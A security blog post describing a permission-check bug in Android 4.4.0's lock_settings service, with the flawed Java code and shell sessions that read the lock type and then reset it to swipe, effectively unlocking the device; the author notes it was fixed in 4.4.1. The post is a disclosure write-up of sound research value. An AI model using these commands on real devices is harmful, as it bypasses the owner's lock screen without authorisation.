Blog: Android
Keep your Android versions updated. Why? If you have to ask…
One of the problems with getting the latest and greatest is that often security takes a back seat in the rush to get systems up and running and out of the door.
It was whilst messing about with the emulated version of Android 4.4.0 (Kit Kat) in late November 2013, I discovered something interesting about some of the system changes that had been made to the keyguard lock setting provider. These could also be replicated on a Nexus 4.
One of the under the hood changes in Kit Kat was to move the security databases away from the application data area (/data/data) to the system data area (/data/system). As part of this a little overhaul was made of the lock_settings service to change how permissions of who could read and write the lock settings were implemented.
In Jelly Bean, this was performed by explicitly checking the calling user to ensure that only the system user (and by extension, root) can use the service calls:
throw new SecurityException(“uid=” + callingUid
+ ” not authorized to write lock settings”);
This was changed in Kit Kat to use a permission, which logically and architecturally makes more sense, unfortunately when this was originally implemented the code didn’t actually do anything:
private static final String PERMISSION = “android.permission.ACCESS_KEYGUARD_SECURE_STORAGE”;
private final void checkWritePermission(int userId) {
mContext.checkCallingOrSelfPermission(PERMISSION);
}
public void setBoolean(String key, boolean value, int userId) throws RemoteException {
checkWritePermission(userId);
writeToDb(key, value ? “1” : “0”, userId);
}
As we can see the checkWritePermission doesn’t actually raise a security exception, or prevent the call being made in anyway.
So, what does this mean? It means that we can talk to the lock_settings service as any user and read or alter the lock settings configuration. My android app coding isn’t the best, (and I could not get it to exploit in the short period I had to play with this) but this can be demonstrated by using the command line service command to call the services.
For example, to check the current password type we can use a call to code 5 (getLong) to view the current status of the lock:
id
uid=2000(shell) gid=2000(shell) context=u:r:su:s0
root@generic:/data/data/com.android.providers.settings $ service call lock_settings 5 s16 lockscreen.password_type
l lock_settings 5 s16 lockscreen.password_type
Result: Parcel(00000000 00020000 00000000 ‘…………’)
That 00020000 tells us that a PIN lock is in use.
Where this gets useful is if we call some of the other functions such as code 2 (setLong) or code 10 (havePassword). A quick example is using code 2 to reset the type of lock to swipe, effectively unlocking the phone:
id
uid=2000(shell) gid=2000(shell) context=u:r:su:s0
root@generic:/data/data/com.android.providers.settings $ service call lock_settings 2 s16 lockscreen.password_type i32 0
l lock_settings 2 s16 lockscreen.password_type i32 0
<
Result: Parcel(00000000 ‘….’
)
root@generic:/data/data/com.android.providers.settings $ service call lock_settings 5 s16 lockscreen.password_type
l lock_settings 5 s16 lockscreen.password_type
<
Result: Parcel(00000000 00000000 00000000 ‘…………’)
If you try this on a phone or the emulator you can then toggle the power button and hey-presto, the phone is unlocked.
Fortunately this was noticed and fixed in Android 4.4.1, which hadn’t been available at the time I discovered the issue. In this and later versions the code had been changed to enforce user permissions.